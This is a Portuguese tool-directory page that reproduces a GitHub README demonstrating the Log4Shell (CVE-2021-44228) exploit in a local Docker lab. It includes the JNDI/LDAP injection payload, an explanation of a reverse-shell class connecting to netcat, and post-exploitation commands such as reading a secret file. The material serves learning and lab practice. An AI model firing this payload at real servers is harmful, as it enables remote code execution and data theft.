Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
log4j-vulnerability — Apresenta como explorar a vulnerabilidade CVE-2021-44228. | Kitploit
Ferramentas/GitHubGitHub/marceloleite2604/log4j-vulnerability
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebComando e ControleAprendizado e EducaçãoFerramenta de Acesso RemotoDesenvolvimento de PayloadsLabs e Prática
GitHubmarceloleite2604/log4j-vulnerability

log4j-vulnerability

Apresenta como explorar a vulnerabilidade CVE-2021-44228.

Ver Repositório
1há 4 anosAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Vulnerabilidade LOG4J

Um projeto baseado em Java que apresenta como explorar a vulnerabilidade CVE-2021-44228.

https://user-images.githubusercontent.com/13152452/147803050-458593e9-4b54-4e1f-ba07-802866b9b43e.mp4

Requisitos

  • Um sistema operacional baseado em Linux: usei Ubuntu Desktop 20.10 64 bits
  • OpenJDK 17.0.1: Para construir o programa de exploração. Versões mais recentes também podem funcionar.
  • Oracle Java Development Kit (JDK) 1.8.0_181: Isso é essencial para que a exploração funcione. Não é necessário tê-lo instalado, mas o projeto precisa dele extraído no diretório raiz. O JDK pode ser encontrado na página de Downloads de Arquivos do Oracle Java SE 8 (JDK 8u202 e anteriores).
  • Apache Maven 3.6.3: Para gerenciar dependências e gerar arquivos jar. Versões posteriores também podem funcionar.
  • Docker 20.10.12: Para gerenciar o contêiner que contém o serviço a ser explorado. Versões posteriores também podem funcionar.
  • Docker-compose 1.29.2: Para ajudar a orquestrar a geração da imagem, bem como a criação, execução e remoção do contêiner. Versões posteriores também podem funcionar.
  • GNU Make 4.3: Este projeto usa Makefile para ajudar a verificar e gerar arquivos obrigatórios. Versões posteriores também podem funcionar.
  • OpenBSD Netcat (também conhecido como nc): Para criar a comunicação com o servidor invadido. Este pacote pode ser instalado através do gerenciador de pacotes da sua distribuição Linux (como apt).
  • (Recomendado) IntelliJ IDEA Community Edition 2021.3.1: Se você quiser verificar o que está por baixo dos panos desses projetos, então recomendo instalar esta IDE. Mais uma vez, versões posteriores também podem funcionar.

Execução

  1. Clone este repositório para sua máquina local.
  2. Baixe o Oracle Java SE 8 Archive Downloads (JDK 8u202 and earlier) page e extraia-o no diretório raiz do projeto. Mantenha-o dentro do diretório jdk1.8.0_181 criado durante a extração.
  3. Execute make all para construir todos os projetos e criar uma imagem Docker com o serviço vulnerável.
  4. Abra três terminais e execute os seguintes comandos:
    1. Primeiro terminal: make start-vulnerable-service para iniciar um contêiner Docker executando o serviço a ser explorado. O serviço estará acessível através da porta 8080 da máquina local
    2. Segundo terminal: make start-nc para iniciar um listener TCP que aguardará a conexão com o servidor invadido ser estabelecida.
    3. Terceiro terminal: make start-exploiter para iniciar o programa que nos ajudará a explorar a vulnerabilidade.
  5. Após iniciar o terceiro terminal, o programa explorador apresentará uma URL para acessar. Cole-a no seu navegador para iniciar a exploração.
  6. Se tudo ocorrer como esperado, o navegador não receberá uma resposta e ficará travado em um status de carregamento.
  7. Agora verifique o segundo terminal (aquele onde make start-nc foi executado). Você pode ter recebido uma mensagem como Connection received on 172.24.0.2 46638 (o endereço IP e a porta TCP podem não ser os mesmos apresentados aqui). Isso significa que a exploração funcionou e agora temos um shell conectado ao servidor/contêiner Docker.

Como funciona?

Antes de responder a isso, vamos dar uma olhada nos processos criados ao longo do fluxo.

log4-vulnerability processeses

Contêiner Docker

Este contêiner Docker servirá um serviço HTTP simples responsável por receber requisições GET no caminho /log com um parâmetro input. Uma vez recebido, ele registra a entrada no console.

https://user-images.githubusercontent.com/13152452/147826880-8ee10391-bcb7-46d3-8d69-2f7ddb4a7b37.mp4

Para explorar a vulnerabilidade, algumas configurações específicas são necessárias:

  • A versão do ambiente de execução Java (JRE) usada para executar o serviço é 1.8.0_181. Isso é necessário para permitir que uma classe Java seja carregada de um serviço externo.
  • As dependências do projeto Java precisam ser fortemente modificadas para substituir o padrão spring-boot-starter-logging:2.6.1 por spring-boot-starter-log4j2:2.6.1. Este último traz log4j-core:2.14.1 para o projeto, que é uma versão vulnerável ao CVE-2021-44228.

dependency-tree

  • O arquivo Jar do serviço foi criado com o compilador Java versão 1.8.0_181.

Programa Netcat (nc)

Não há explicações ou ajustes importantes aqui. Este é um programa simples usado para ler e escrever dados através dos protocolos TCP e UDP. Nós o usaremos para manter a escuta de conexões TCP de entrada na porta 9001 (algo mais abrirá essa conexão para nós no lado do servidor. 😉).

Uma vez que a conexão é estabelecida, todos os dados recebidos serão exibidos no console. Além disso, toda entrada escrita será enviada através desta conexão.

Explorador

Agora é onde a diversão começa!

Este programa encapsula várias etapas necessárias para explorar a vulnerabilidade. Vamos detalhar:

Argumentos de execução

Para executar este programa, precisamos informar três parâmetros:

  1. Endereço IP/nome do host do servidor HTTP e do Netcat: Para explorar a vulnerabilidade, precisaremos do endereço IP do servidor HTTP relativo ao serviço vulnerável para que nossa resposta LDAP possa redirecioná-lo para baixar a classe Java compilada através dele. Também será usado pela própria classe Java para abrir uma conexão TCP com o Netcat (explicado acima).
  2. Porta do servidor HTTP: A porta onde o servidor HTTP responsável por enviar a classe Java compilada aceitará conexões. Também será enviada com a resposta LDAP para informar a porta de onde a classe Java compilada será baixada.
  3. Porta do Netcat: A porta onde o Netcat está escutando por conexões. Será usada pela classe Java compilada para abrir uma conexão TCP com o Netcat.

Classe Java de exploração

Assim que o programa iniciar, ele escreverá um código Java baseado em um template. Este template requer dois argumentos: O endereço IP e a porta do Netcat.

Uma vez escrito o código, o programa o compilará em um arquivo de classe binário usando o compilador Java (javac) versão 1.8.0_181. Isso é importante para manter a mesma versão de código do serviço explorado.

A classe Java de exploração tem uma estrutura bastante simples. Em seu construtor, há uma instrução solicitando ao sistema operacional que crie um programa shell. Uma vez criado, a classe abre uma conexão TCP com o Netcat, vincula as entradas e saídas do shell e da conexão TCP e prende a execução da máquina virtual Java em um loop até que a conexão seja fechada pelo Netcat. Assim que sai do loop, o construtor continua como se nada tivesse acontecido.

Programa Marshalsec

O explorador abre um subprocesso solicitando a execução do programa Java Marshalsec. O programa Marshalsec está disponível no projeto Github mbechler/marchalsec.

Juntamente com outras funcionalidades, ele gerencia requisições LDAP e pode ser usado para solicitar que conexões recebidas resolvam requisições baixando classes Java de uma fonte externa. No nosso caso, vamos usá-lo para solicitar que conexões recebidas baixem nossa classe Java Exploit do serviço HTTP.

Serviço HTTP

Assim que o programa explorador criar a classe Java manipulada, ele iniciará um serviço HTTP com uma única resposta: A classe Java binária de exploração.

Resumindo, quando o serviço vulnerável solicitar que a classe externa seja carregada, este serviço lerá o arquivo binário da classe Java e o enviará de volta ao serviço vulnerável. Simples assim!

Uma requisição HTTP para governar todas

Assim que tudo estiver funcionando, o programa então exibirá a requisição HTTP necessária para acionar a exploração. Simplesmente copie e cole no seu navegador favorito ou use curl em um terminal, o que funcionar melhor para você!

A requisição será algo semelhante a isto:

root@kitploit:~
http://localhost:8080/log?input=%24%7Bjndi%3Aldap%3A%2F%2Fhost.docker.internal%3A1389%2Fa%7D

Como os parâmetros da consulta contêm caracteres especiais, eles precisam ser codificados para que o navegador os aceite. Se decodificarmos, a mensagem será:

root@kitploit:~
http://localhost:8080/log?input=${jndi:ldap://host.docker.internal:1389/a}

O fluxo de comunicação

Aqui está um diagrama simplificado do que acontece assim que a requisição é enviada:

log4j-vulnerability communication flow

Vou tentar usá-lo para explicar o que acontece a seguir:

  • O navegador enviará a requisição HTTP para nosso serviço vulnerável.
  • O serviço vulnerável aceitará a requisição e registrará a entrada do usuário.
  • Assim que o log4j receber a mensagem, ele percebe que há um conteúdo a ser resolvido: ${jndi:ldap://host.docker.internal:1389/a}.
  • De acordo com o valor, o conteúdo a ser apresentado deve ser recuperado através do protocolo LDAP de host.docker.internal:1389 usando a chave a (um nome distinto LDAP bastante sem graça e inválido, mas, ei, desde que funcione...). O log4j então envia uma requisição para este endereço com a intenção de recuperar o valor.

Observação: host.docker.internal é um endereço válido do serviço Docker para alcançar a máquina física onde está sendo executado.

  • O programa Marshalsec (executando localmente na porta 1389) aceitará então a requisição recebida e pedirá ao serviço vulnerável para baixar um arquivo de classe Java disponível em host.docker.internal:8000 com o nome Exploit para resolver a requisição.
  • O log4j então envia uma requisição para host.docker.internal:8000 pedindo para obter um recurso disponível no caminho /Exploit.
  • O serviço HTTP (executando localmente na porta 8000) responderá então à requisição enviando a classe Java binária Exploit.
  • O log4j então tenta instanciar a classe para resolver a variável executando seu método construtor Exploit().
  • O método construtor Exploit() inicia um programa shell no servidor e solicita que um canal TCP seja aberto com host.docker.internal:9001.
  • O Netcat (executando localmente na porta 9001) aceita então a conexão TCP recebida.
  • O método construtor Exploit() então vincula as entradas e saídas do shell com a conexão TCP e prende o thread da Máquina Virtual Java em um loop até que a conexão TCP seja fechada pelo outro lado.
  • O Netcat pode agora ser usado para enviar comandos de shell e receber saídas do servidor.

Considerações

A definir

Referências

Projeto Github kozmer/log4j-shell-poc - Ajudou-me a entender como a exploração funciona. Obrigado a todos que contribuíram para este projeto!

Projeto Github mbechler/marchalsec - Eu não seria capaz de trabalhar com comunicação LDAP e redirecionamento tão rapidamente quanto fiz sem este projeto. Obrigado, pessoal!

Vídeo sobre Vulnerabilidade Log4j do SrcCodes - Um vídeo bem explicado apresentando como iniciar a exploração em um programa baseado em Spring.

Vídeo de demonstração da exploração CVE-2021-44228 do Nowcomm - Um bom vídeo explicando como explorar o CVE-2021-44228 no Apache Solr. Tive que assistir a segunda metade cerca de uma dúzia de vezes para entender o que estava realmente acontecendo! 😛

Baixar ferramenta
  • Para ter certeza se tudo ocorreu como esperado, tente executar um comando whoami. Você pode receber root como saída.
  • Agora tente executar cat ../private-directory/my-secret-file.txt para ver o que acontece. 🙂
  • Assim que terminar de bagunçar o servidor, pressione CTRL+C para fechar a conexão.
  • Você também pode pressionar CTRL+C nos outros terminais para interromper os processos.